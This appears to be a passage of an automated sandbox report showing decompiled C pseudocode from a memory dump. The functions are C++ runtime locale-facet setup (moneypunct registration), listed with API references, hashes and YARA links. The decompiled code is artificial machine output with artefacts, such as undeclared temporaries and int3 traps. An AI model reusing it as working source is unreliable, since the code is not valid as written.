																									goto L47;
																								}
																							} else {
																								_t436 = _t447;
																								goto L47;
																							}
																						}
																					} else {
																						_t435 =  *(_t462 - 0x10);
																						 *(_t462 - 0x10) = _t435;
																						 *(_t462 - 4) = 1;
																						E6DD16FD3(__eflags, _t435);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t435 + 4))))();
																						 *0x6ddd6de0 = _t435;
																						goto L40;
																					}
																				} else {
																					_t435 = _t446;
																					goto L40;
																				}
																			}
																		} else {
																			_t434 =  *(_t462 - 0x10);
																			 *(_t462 - 0x10) = _t434;
																			 *(_t462 - 4) = 1;
																			E6DD16FD3(__eflags, _t434);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t434 + 4))))();
																			 *0x6ddd6ddc = _t434;
																			goto L33;
																		}
																	} else {
																		_t434 = _t445;
																		goto L33;
																	}
																}
															} else {
																_t433 =  *(_t462 - 0x10);
																 *(_t462 - 0x10) = _t433;
																 *(_t462 - 4) = 1;
																E6DD16FD3(__eflags, _t433);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t433 + 4))))();
																 *0x6ddd6db0 = _t433;
																goto L26;
															}
														} else {
															_t433 = _t444;
															goto L26;
														}
													}
												} else {
													_t432 =  *(_t462 - 0x10);
													 *(_t462 - 0x10) = _t432;
													 *(_t462 - 4) = 1;
													E6DD16FD3(__eflags, _t432);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t432 + 4))))();
													 *0x6ddd6dd8 = _t432;
													goto L19;
												}
											} else {
												_t432 = _t443;
												goto L19;
											}
										}
									} else {
										_t431 =  *(_t462 - 0x10);
										 *(_t462 - 0x10) = _t431;
										 *(_t462 - 4) = 1;
										E6DD16FD3(__eflags, _t431);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t431 + 4))))();
										 *0x6ddd6dc4 = _t431;
										goto L12;
									}
								} else {
									_t431 = _t442;
									goto L12;
								}
							}
						} else {
							_t430 =  *(_t462 - 0x10);
							 *(_t462 - 0x10) = _t430;
							 *(_t462 - 4) = 1;
							E6DD16FD3(__eflags, _t430);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t430 + 4))))();
							 *0x6ddd6dc8 = _t430;
							goto L5;
						}
					} else {
						_t430 = _t441;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F6BA
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F6C4
int.LIBCPMT ref: 6DD1F6DB

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F6FE
std::_Facet_Register.LIBCPMT ref: 6DD1F715
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F735
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F753

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: d24677bcca33131a40e966085e4dad379b2f0eb43b6be05a81dd8d0c8240c7ad
Instruction ID: cd9be17b8f35089a69ee2cecffa6ef96c1c02eb6ea525222d20fb96193e438d6
Opcode Fuzzy Hash: d24677bcca33131a40e966085e4dad379b2f0eb43b6be05a81dd8d0c8240c7ad
Instruction Fuzzy Hash: B6119E7690852D9BCF01FBA4DC50AEDB774EF85324F264109F610AB290DB759906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F60D, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F60D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t167;
				signed int _t168;
				void* _t180;
				void* _t193;
				void* _t206;
				void* _t219;
				void* _t232;
				void* _t245;
				void* _t258;
				void* _t271;
				void* _t284;
				void* _t297;
				signed int _t435;
				signed int _t472;
				signed int _t473;
				signed int _t474;
				signed int _t475;
				signed int _t476;
				signed int _t477;
				signed int _t478;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				signed int _t493;
				signed int _t494;
				void* _t506;

				_t469 = __edx;
				_t358 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t506 - 0x14, 0);
				_t483 =  *0x6ddd6df4; // 0x0
				 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
				 *(_t506 - 0x10) = _t483;
				_t167 = E6DCF161C(0x6ddd6da0);
				_t361 =  *((intOrPtr*)(_t506 + 8));
				_t168 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t167);
				_t471 = _t168;
				if(_t168 != 0) {
					L5:
					E6DD166BA(_t506 - 0x14);
					return E6DD30075(_t471);
				} else {
					if(_t483 == 0) {
						_push( *((intOrPtr*)(_t506 + 8)));
						_push(_t506 - 0x10);
						__eflags = E6DD211AB(__ebx, _t361, __edx, _t471, _t483) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t506 - 0x20);
							E6DD33D74(_t506 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t471, _t483, 0x14);
							E6DD16653(_t506 - 0x14, 0);
							_t484 =  *0x6ddd6dc8; // 0x0
							 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
							 *(_t506 - 0x10) = _t484;
							_t180 = E6DCF161C(0x6ddd6d7c);
							_t368 =  *((intOrPtr*)(_t506 + 8));
							_t472 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t180);
							__eflags = _t472;
							if(_t472 != 0) {
								L12:
								E6DD166BA(_t506 - 0x14);
								return E6DD30075(_t472);
							} else {
								__eflags = _t484;
								if(_t484 == 0) {
									_push( *((intOrPtr*)(_t506 + 8)));
									_push(_t506 - 0x10);
									__eflags = E6DD21230(_t358, _t368, __edx, _t472, _t484) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t506 - 0x20);
										E6DD33D74(_t506 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t358, _t472, _t484, 0x14);
										E6DD16653(_t506 - 0x14, 0);
										_t485 =  *0x6ddd6dc4; // 0x0
										 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
										 *(_t506 - 0x10) = _t485;
										_t193 = E6DCF161C(0x6ddd6d78);
										_t375 =  *((intOrPtr*)(_t506 + 8));
										_t473 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t193);
										__eflags = _t473;
										if(_t473 != 0) {
											L19:
											E6DD166BA(_t506 - 0x14);
											return E6DD30075(_t473);
										} else {
											__eflags = _t485;
											if(_t485 == 0) {
												_push( *((intOrPtr*)(_t506 + 8)));
												_push(_t506 - 0x10);
												__eflags = E6DD212B4(_t358, _t375, __edx, _t473, _t485) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t506 - 0x20);
													E6DD33D74(_t506 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t358, _t473, _t485, 0x14);
													E6DD16653(_t506 - 0x14, 0);
													_t486 =  *0x6ddd6dd8; // 0x0
													 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
													 *(_t506 - 0x10) = _t486;
													_t206 = E6DCF161C(0x6ddd6d84);
													_t382 =  *((intOrPtr*)(_t506 + 8));
													_t474 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t206);
													__eflags = _t474;
													if(_t474 != 0) {
														L26:
														E6DD166BA(_t506 - 0x14);
														return E6DD30075(_t474);
													} else {
														__eflags = _t486;
														if(_t486 == 0) {
															_push( *((intOrPtr*)(_t506 + 8)));
															_push(_t506 - 0x10);
															__eflags = E6DD21339(_t358, _t382, _t469, _t474, _t486) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t506 - 0x20);
																E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t358, _t474, _t486, 0x14);
																E6DD16653(_t506 - 0x14, 0);
																_t487 =  *0x6ddd6db0; // 0x0
																 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																 *(_t506 - 0x10) = _t487;
																_t219 = E6DCF161C(0x6ddd6d64);
																_t389 =  *((intOrPtr*)(_t506 + 8));
																_t475 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t219);
																__eflags = _t475;
																if(_t475 != 0) {
																	L33:
																	E6DD166BA(_t506 - 0x14);
																	return E6DD30075(_t475);
																} else {
																	__eflags = _t487;
																	if(_t487 == 0) {
																		_push( *((intOrPtr*)(_t506 + 8)));
																		_push(_t506 - 0x10);
																		__eflags = E6DD213A1(_t358, _t389, _t469, _t475, _t487) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t506 - 0x20);
																			E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t358, _t475, _t487, 0x14);
																			E6DD16653(_t506 - 0x14, 0);
																			_t488 =  *0x6ddd6ddc; // 0x0
																			 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																			 *(_t506 - 0x10) = _t488;
																			_t232 = E6DCF161C(0x6ddd6d88);
																			_t396 =  *((intOrPtr*)(_t506 + 8));
																			_t476 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t232);
																			__eflags = _t476;
																			if(_t476 != 0) {
																				L40:
																				E6DD166BA(_t506 - 0x14);
																				return E6DD30075(_t476);
																			} else {
																				__eflags = _t488;
																				if(_t488 == 0) {
																					_push( *((intOrPtr*)(_t506 + 8)));
																					_push(_t506 - 0x10);
																					__eflags = E6DD21409(_t358, _t396, _t469, _t476, _t488) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t506 - 0x20);
																						E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t358, _t476, _t488, 0x14);
																						E6DD16653(_t506 - 0x14, 0);
																						_t489 =  *0x6ddd6de0; // 0x0
																						 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																						 *(_t506 - 0x10) = _t489;
																						_t245 = E6DCF161C(0x6ddd6d8c);
																						_t403 =  *((intOrPtr*)(_t506 + 8));
																						_t477 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t245);
																						__eflags = _t477;
																						if(_t477 != 0) {
																							L47:
																							E6DD166BA(_t506 - 0x14);
																							return E6DD30075(_t477);
																						} else {
																							__eflags = _t489;
																							if(_t489 == 0) {
																								_push( *((intOrPtr*)(_t506 + 8)));
																								_push(_t506 - 0x10);
																								__eflags = E6DD21471(_t358, _t403, _t469, _t477, _t489) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t506 - 0x20);
																									E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t358, _t477, _t489, 0x14);
																									E6DD16653(_t506 - 0x14, 0);
																									_t490 =  *0x6ddd6dfc; // 0x0
																									 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																									 *(_t506 - 0x10) = _t490;
																									_t258 = E6DCF161C(0x6ddd6da8);
																									_t410 =  *((intOrPtr*)(_t506 + 8));
																									_t478 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t258);
																									__eflags = _t478;
																									if(_t478 != 0) {
																										L54:
																										E6DD166BA(_t506 - 0x14);
																										return E6DD30075(_t478);
																									} else {
																										__eflags = _t490;
																										if(_t490 == 0) {
																											_push( *((intOrPtr*)(_t506 + 8)));
																											_push(_t506 - 0x10);
																											__eflags = E6DD214EC(_t358, _t410, _t469, _t478, _t490) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t506 - 0x20);
																												E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t358, _t478, _t490, 0x14);
																												E6DD16653(_t506 - 0x14, 0);
																												_t491 =  *0x6ddd6dcc; // 0x0
																												 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																												 *(_t506 - 0x10) = _t491;
																												_t271 = E6DCF161C(0x6ddd6d80);
																												_t417 =  *((intOrPtr*)(_t506 + 8));
																												_t479 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t271);
																												__eflags = _t479;
																												if(_t479 != 0) {
																													L61:
																													E6DD166BA(_t506 - 0x14);
																													return E6DD30075(_t479);
																												} else {
																													__eflags = _t491;
																													if(_t491 == 0) {
																														_push( *((intOrPtr*)(_t506 + 8)));
																														_push(_t506 - 0x10);
																														__eflags = E6DD21558(_t358, _t417, _t469, _t479, _t491) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t506 - 0x20);
																															E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t358, _t479, _t491, 0x14);
																															E6DD16653(_t506 - 0x14, 0);
																															_t492 =  *0x6ddd6e00; // 0x0
																															 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																															 *(_t506 - 0x10) = _t492;
																															_t284 = E6DCF161C(0x6ddd6dac);
																															_t424 =  *((intOrPtr*)(_t506 + 8));
																															_t480 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t284);
																															__eflags = _t480;
																															if(_t480 != 0) {
																																L68:
																																E6DD166BA(_t506 - 0x14);
																																return E6DD30075(_t480);
																															} else {
																																__eflags = _t492;
																																if(_t492 == 0) {
																																	_push( *((intOrPtr*)(_t506 + 8)));
																																	_push(_t506 - 0x10);
																																	__eflags = E6DD215C4(_t358, _t424, _t469, _t480, _t492) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t506 - 0x20);
																																		E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t358, _t480, _t492, 0x14);
																																		E6DD16653(_t506 - 0x14, 0);
																																		_t493 =  *0x6ddd6dd0; // 0x0
																																		 *(_t506 - 4) =  *(_t506 - 4) & 0x00000000;
																																		 *(_t506 - 0x10) = _t493;
																																		_t297 = E6DCF161C(0x6ddd6d60);
																																		_t431 =  *((intOrPtr*)(_t506 + 8));
																																		_t481 = E6DCF171B( *((intOrPtr*)(_t506 + 8)), _t297);
																																		__eflags = _t481;
																																		if(_t481 != 0) {
																																			L75:
																																			E6DD166BA(_t506 - 0x14);
																																			return E6DD30075(_t481);
																																		} else {
																																			__eflags = _t493;
																																			if(_t493 == 0) {
																																				_push( *((intOrPtr*)(_t506 + 8)));
																																				_push(_t506 - 0x10);
																																				__eflags = E6DD2162A(_t358, _t431, _t469, _t481, _t493) - 0xffffffff;
																																				if(__eflags == 0) {
																																					_t435 = _t506 - 0x20;
																																					E6DCF1438(_t435);
																																					E6DD33D74(_t506 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd7851f, _t358, _t481, _t493, 4);
																																					_t494 = _t435;
																																					 *(_t506 - 0x10) = _t494;
																																					 *((intOrPtr*)(_t494 + 4)) =  *((intOrPtr*)(_t506 + 0xc));
																																					_push( *((intOrPtr*)(_t506 + 0x14)));
																																					_t161 = _t506 - 4;
																																					 *_t161 =  *(_t506 - 4) & 0x00000000;
																																					__eflags =  *_t161;
																																					 *_t494 = 0x6dd7c0c4;
																																					 *((char*)(_t494 + 0x28)) =  *((intOrPtr*)(_t506 + 0x10));
																																					E6DD2542F(_t358, _t435, _t469, _t481, _t494,  *_t161);
																																					return E6DD30075(_t494,  *((intOrPtr*)(_t506 + 8)));
																																				} else {
																																					_t481 =  *(_t506 - 0x10);
																																					 *(_t506 - 0x10) = _t481;
																																					 *(_t506 - 4) = 1;
																																					E6DD16FD3(__eflags, _t481);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t481 + 4))))();
																																					 *0x6ddd6dd0 = _t481;
																																					goto L75;
																																				}
																																			} else {
																																				_t481 = _t493;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t480 =  *(_t506 - 0x10);
																																		 *(_t506 - 0x10) = _t480;
																																		 *(_t506 - 4) = 1;
																																		E6DD16FD3(__eflags, _t480);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t480 + 4))))();
																																		 *0x6ddd6e00 = _t480;
																																		goto L68;
																																	}
																																} else {
																																	_t480 = _t492;
																																	goto L68;
																																}
																															}
																														} else {
																															_t479 =  *(_t506 - 0x10);
																															 *(_t506 - 0x10) = _t479;
																															 *(_t506 - 4) = 1;
																															E6DD16FD3(__eflags, _t479);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t479 + 4))))();
																															 *0x6ddd6dcc = _t479;
																															goto L61;
																														}
																													} else {
																														_t479 = _t491;
																														goto L61;
																													}
																												}
																											} else {
																												_t478 =  *(_t506 - 0x10);
																												 *(_t506 - 0x10) = _t478;
																												 *(_t506 - 4) = 1;
																												E6DD16FD3(__eflags, _t478);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t478 + 4))))();
																												 *0x6ddd6dfc = _t478;
																												goto L54;
																											}
																										} else {
																											_t478 = _t490;
																											goto L54;
																										}
																									}
																								} else {
																									_t477 =  *(_t506 - 0x10);
																									 *(_t506 - 0x10) = _t477;
																									 *(_t506 - 4) = 1;
																									E6DD16FD3(__eflags, _t477);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t477 + 4))))();
																									 *0x6ddd6de0 = _t477;
																									goto L47;
																								}
																							} else {
																								_t477 = _t489;
																								goto L47;
																							}
																						}
																					} else {
																						_t476 =  *(_t506 - 0x10);
																						 *(_t506 - 0x10) = _t476;
																						 *(_t506 - 4) = 1;
																						E6DD16FD3(__eflags, _t476);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t476 + 4))))();
																						 *0x6ddd6ddc = _t476;
																						goto L40;
																					}
																				} else {
																					_t476 = _t488;
																					goto L40;
																				}
																			}
																		} else {
																			_t475 =  *(_t506 - 0x10);
																			 *(_t506 - 0x10) = _t475;
																			 *(_t506 - 4) = 1;
																			E6DD16FD3(__eflags, _t475);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t475 + 4))))();
																			 *0x6ddd6db0 = _t475;
																			goto L33;
																		}
																	} else {
																		_t475 = _t487;
																		goto L33;
																	}
																}
															} else {
																_t474 =  *(_t506 - 0x10);
																 *(_t506 - 0x10) = _t474;
																 *(_t506 - 4) = 1;
																E6DD16FD3(__eflags, _t474);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t474 + 4))))();
																 *0x6ddd6dd8 = _t474;
																goto L26;
															}
														} else {
															_t474 = _t486;
															goto L26;
														}
													}
												} else {
													_t473 =  *(_t506 - 0x10);
													 *(_t506 - 0x10) = _t473;
													 *(_t506 - 4) = 1;
													E6DD16FD3(__eflags, _t473);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t473 + 4))))();
													 *0x6ddd6dc4 = _t473;
													goto L19;
												}
											} else {
												_t473 = _t485;
												goto L19;
											}
										}
									} else {
										_t472 =  *(_t506 - 0x10);
										 *(_t506 - 0x10) = _t472;
										 *(_t506 - 4) = 1;
										E6DD16FD3(__eflags, _t472);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t472 + 4))))();
										 *0x6ddd6dc8 = _t472;
										goto L12;
									}
								} else {
									_t472 = _t484;
									goto L12;
								}
							}
						} else {
							_t471 =  *(_t506 - 0x10);
							 *(_t506 - 0x10) = _t471;
							 *(_t506 - 4) = 1;
							E6DD16FD3(__eflags, _t471);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 4))))();
							 *0x6ddd6df4 = _t471;
							goto L5;
						}
					} else {
						_t471 = _t483;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F614
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F61E
int.LIBCPMT ref: 6DD1F635

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F658
std::_Facet_Register.LIBCPMT ref: 6DD1F66F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F68F
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F6AD

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: 08a225800e5d6812bec80d189de0ab846b84fdc592ce0a463351983243bdeaac
Instruction ID: 74c3c9b096dd383dec66986395ddaeeb7d2890168f386c8b82cf2e8997f31918
Opcode Fuzzy Hash: 08a225800e5d6812bec80d189de0ab846b84fdc592ce0a463351983243bdeaac
Instruction Fuzzy Hash: E011A072908529CBCF05FBA4DC40AFDB774EF95724F160409F610A72A1DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F9F1, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F9F1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t83;
				signed int _t84;
				void* _t96;
				void* _t109;
				void* _t122;
				void* _t135;
				signed int _t207;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t236;
				void* _t242;

				_t223 = __edx;
				_t172 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t242 - 0x14, 0);
				_t231 =  *0x6ddd6de0; // 0x0
				 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
				 *(_t242 - 0x10) = _t231;
				_t83 = E6DCF161C(0x6ddd6d8c);
				_t175 =  *((intOrPtr*)(_t242 + 8));
				_t84 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t83);
				_t225 = _t84;
				if(_t84 != 0) {
					L5:
					E6DD166BA(_t242 - 0x14);
					return E6DD30075(_t225);
				} else {
					if(_t231 == 0) {
						_push( *((intOrPtr*)(_t242 + 8)));
						_push(_t242 - 0x10);
						__eflags = E6DD21471(__ebx, _t175, __edx, _t225, _t231) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t242 - 0x20);
							E6DD33D74(_t242 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t225, _t231, 0x14);
							E6DD16653(_t242 - 0x14, 0);
							_t232 =  *0x6ddd6dfc; // 0x0
							 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
							 *(_t242 - 0x10) = _t232;
							_t96 = E6DCF161C(0x6ddd6da8);
							_t182 =  *((intOrPtr*)(_t242 + 8));
							_t226 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t96);
							__eflags = _t226;
							if(_t226 != 0) {
								L12:
								E6DD166BA(_t242 - 0x14);
								return E6DD30075(_t226);
							} else {
								__eflags = _t232;
								if(_t232 == 0) {
									_push( *((intOrPtr*)(_t242 + 8)));
									_push(_t242 - 0x10);
									__eflags = E6DD214EC(_t172, _t182, __edx, _t226, _t232) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t242 - 0x20);
										E6DD33D74(_t242 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t172, _t226, _t232, 0x14);
										E6DD16653(_t242 - 0x14, 0);
										_t233 =  *0x6ddd6dcc; // 0x0
										 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
										 *(_t242 - 0x10) = _t233;
										_t109 = E6DCF161C(0x6ddd6d80);
										_t189 =  *((intOrPtr*)(_t242 + 8));
										_t227 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t109);
										__eflags = _t227;
										if(_t227 != 0) {
											L19:
											E6DD166BA(_t242 - 0x14);
											return E6DD30075(_t227);
										} else {
											__eflags = _t233;
											if(_t233 == 0) {
												_push( *((intOrPtr*)(_t242 + 8)));
												_push(_t242 - 0x10);
												__eflags = E6DD21558(_t172, _t189, __edx, _t227, _t233) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t242 - 0x20);
													E6DD33D74(_t242 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t172, _t227, _t233, 0x14);
													E6DD16653(_t242 - 0x14, 0);
													_t234 =  *0x6ddd6e00; // 0x0
													 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
													 *(_t242 - 0x10) = _t234;
													_t122 = E6DCF161C(0x6ddd6dac);
													_t196 =  *((intOrPtr*)(_t242 + 8));
													_t228 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t122);
													__eflags = _t228;
													if(_t228 != 0) {
														L26:
														E6DD166BA(_t242 - 0x14);
														return E6DD30075(_t228);
													} else {
														__eflags = _t234;
														if(_t234 == 0) {
															_push( *((intOrPtr*)(_t242 + 8)));
															_push(_t242 - 0x10);
															__eflags = E6DD215C4(_t172, _t196, _t223, _t228, _t234) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t242 - 0x20);
																E6DD33D74(_t242 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t172, _t228, _t234, 0x14);
																E6DD16653(_t242 - 0x14, 0);
																_t235 =  *0x6ddd6dd0; // 0x0
																 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
																 *(_t242 - 0x10) = _t235;
																_t135 = E6DCF161C(0x6ddd6d60);
																_t203 =  *((intOrPtr*)(_t242 + 8));
																_t229 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t135);
																__eflags = _t229;
																if(_t229 != 0) {
																	L33:
																	E6DD166BA(_t242 - 0x14);
																	return E6DD30075(_t229);
																} else {
																	__eflags = _t235;
																	if(_t235 == 0) {
																		_push( *((intOrPtr*)(_t242 + 8)));
																		_push(_t242 - 0x10);
																		__eflags = E6DD2162A(_t172, _t203, _t223, _t229, _t235) - 0xffffffff;
																		if(__eflags == 0) {
																			_t207 = _t242 - 0x20;
																			E6DCF1438(_t207);
																			E6DD33D74(_t242 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd7851f, _t172, _t229, _t235, 4);
																			_t236 = _t207;
																			 *(_t242 - 0x10) = _t236;
																			 *((intOrPtr*)(_t236 + 4)) =  *((intOrPtr*)(_t242 + 0xc));
																			_push( *((intOrPtr*)(_t242 + 0x14)));
																			_t77 = _t242 - 4;
																			 *_t77 =  *(_t242 - 4) & 0x00000000;
																			__eflags =  *_t77;
																			 *_t236 = 0x6dd7c0c4;
																			 *((char*)(_t236 + 0x28)) =  *((intOrPtr*)(_t242 + 0x10));
																			E6DD2542F(_t172, _t207, _t223, _t229, _t236,  *_t77);
																			return E6DD30075(_t236,  *((intOrPtr*)(_t242 + 8)));
																		} else {
																			_t229 =  *(_t242 - 0x10);
																			 *(_t242 - 0x10) = _t229;
																			 *(_t242 - 4) = 1;
																			E6DD16FD3(__eflags, _t229);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t229 + 4))))();
																			 *0x6ddd6dd0 = _t229;
																			goto L33;
																		}
																	} else {
																		_t229 = _t235;
																		goto L33;
																	}
																}
															} else {
																_t228 =  *(_t242 - 0x10);
																 *(_t242 - 0x10) = _t228;
																 *(_t242 - 4) = 1;
																E6DD16FD3(__eflags, _t228);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t228 + 4))))();
																 *0x6ddd6e00 = _t228;
																goto L26;
															}
														} else {
															_t228 = _t234;
															goto L26;
														}
													}
												} else {
													_t227 =  *(_t242 - 0x10);
													 *(_t242 - 0x10) = _t227;
													 *(_t242 - 4) = 1;
													E6DD16FD3(__eflags, _t227);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t227 + 4))))();
													 *0x6ddd6dcc = _t227;
													goto L19;
												}
											} else {
